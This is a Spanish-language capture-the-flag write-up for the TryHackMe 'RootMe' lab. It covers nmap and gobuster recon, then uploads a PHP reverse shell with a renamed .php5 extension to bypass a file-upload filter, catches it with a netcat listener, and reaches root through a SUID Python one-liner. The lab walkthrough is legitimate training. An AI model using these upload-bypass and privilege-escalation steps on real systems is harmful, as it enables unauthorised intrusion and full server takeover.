RootMe - WriteUp
Descripción
La máquina ‘RootMe’ en TryHackMe presenta diversas vulnerabilidades, como la elevación de privilegios hasta ataques de fuerza bruta y explotación de servicios. Explorar y resolver estas vulnerabilidades es esencial para ganar control sobre la máquina y fortalecer las habilidades en ciberseguridad.
Implementar máquina
Si vamos a la máquina atacante esta sería la nomenclatura:
nc -vnlp 1234
nc
: Se inicia la herramienta
-v
: verbose (Proporciona información adicional)
n
: no hace resolución inversa de DNS
l
: Va a escuchar en vez de iniciar una conexión
p
: Especifica el puerto por el cual vamos a escuchar
1234
: Puerto especificado
Reconocimiento
Para obtener esta información serán necesario usar Nmap
-nmap
: ejecutamos la herramienta
-sC
: detección de servicios y vulnerabilidades contra los servicios identificados.
-sV
: detección de versión de los servicios abiertos en el host objetivo.
-p 1-1024
: especificamos los puertos entre los más comunes.
-T5
: agresividad del escaneo; velocidad más rápida.
10.10.125.132
: Dirección IP de la máquina RootMe.
-o resultado_nmap.txt
: el resultado de todo el escaneo se guarda en un archivo de texto.El comando
-T5
aumenta, junto con la velocidad, el ruido en la red, lo que incrementa la probabilidad de detección.
Enumeración
En el resultado del escaneo se refleja la existencia de un sitio web al cual podemos acceder con la IP de la máquina RootMe. Lo que prosigue es hacer un proceso de enumeración de subdominios con la herramienta Gobuster.
gobuster dir
: Indica que se utilizará la herramienta “gobuster” para buscar directorios en el sitio web.
-u http://10.10.213.113
: Es la URL del sitio web que se va a escanear.
-w /home/usuario/Descargas/SecLists/Discovery/Web-Content/common.txt
: Especifica la ubicación de un archivo de lista de palabras (common.txt) que se utilizará para adivinar nombres de directorios en el sitio web.
Obtener Shell (Reverse Shell)
Al ver el resultado de la herramienta podemos notar que existe un página web con la dirección:
http://10.10.125.132/panel/
el cual nos permitiría subir archivos.En los resultados de Gobuster podemos ver esta dirección:
http://10.10.193.237/panel/
Un punto importante cuando estamos ante sitios web es conocer las tecnologías que se encuentran en el mismo. Para esto, podemos usar el comando:
whatweb
y en adiciónsearchsploit
para ver y buscar los exploits disponibles de la tecnología en cuestión en la base de datos de Exploit Database (ExploitDB).Ahora nuestro objetivo es insertar un archivo php el cual llamaríamos desde el navegador y así poder tener acceso al servidor.
El archivo php nos abriría una terminal en el máquina destino o servidor desde nuestro equipo. Para descargar el archivo hacer clic aquí: php-reverse-shell.php
- Para descargarlo en la máquina solo bastaría con usar el siguiente comando:
1
git clone https://github.com/pentestmonkey/php-reverse-shell.git
Luego de entrar al directorio
php-reverse-shell
usando el editor de textonano
cambiamos la IP por la dirección que nos da el VPN de TryHackMe y finalmente hacemosctrl + o
para guardar los cambios.Podríamos cambiar el puerto pero en mi caso lo dejaré por defecto.
Si intentamos subir el archivo .php al sitio web nos lanzaría un error. Por lo que sería necesario cambiar la extensión del archivo. Por ejemplo:
.php45
Para hacerlo solo deberíamos de renombrar el archivo:
1
mv php-reverse-shell.php php-reverse-shell.php5
Luego de cargar el archivo, deberíamos poder ver el archivo en /uploads el cual encontramos cuando hicimos la enumeración de subdominios con Gobuster.
Nueva vez intentamos subir el archivo ahora con la extensión modificada.
Ahora vemos como si nos permitió subirlo.Al entrar a https://10.10.125.132/uploads/ podremos ver el archivo que subimos:
Antes de poder ejecutar el archivo tendríamos que poner nuestra máquina en escucha usando la herramienta netcat. Esto lo logramos con el comando:
nc -vnlp 1234
nc
: Se inicia la herramienta
-v
: verbose (Proporciona información adicional)
n
: no hace resolución inversa de DNS
l
: Va a escuchar en vez de iniciar una conexión
p
: Especifica el puerto por el cual vamos a escuchar
1234
: Puerto especificadoEl puerto especificado deberá ser el mismo que tiene el reverse shell.
Cliqueamos dos veces sobre el archivo .php el cual se encuentra en el sitio web. Si observamos netcat se puede notar que ha funcionado la reverse shell.
- Ahora buscaremos en todo el sistema el archivo .txt con el comando:
1
find / -name user.txt 2>/dev/null
- Usando el comando cat se puede ver el contenido del archivo de texto:
1
cat /var/www/user.txt
- Esa sería la respuesta a la a la siguiente bandera:
Escalación de privilegios
- Para tener acceso privilegiado necesitamos buscar archivos con permisos SUID. Para buscar estos archivos usaremos el comando:
1
find / -user root -perm /4000 2>/dev/null
En toda la búsqueda que aparece encontré la ruta para python:
Ahora usaremos la web: GTFObins gtfobins.github.io la cual nos sirve para buscar entre binarios el como explotar los ficheros.
Si nos vamos a SUID copiamos y pegamos en la shell el comando que nos aparece ahí.
Copiar y pegar esta línea:
1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Luego de ejecutar el comando y colocar el comando: whoami. Vemos como nos dice que somos usuario root.
- Así que, introducimos el siguiente comando:
1
find / -name root.txt 2>/dev/null
- Con el comando
cat
se podría observar el contenido del archivo de texto y esta sería la última bandera:1
cat /root/root.txt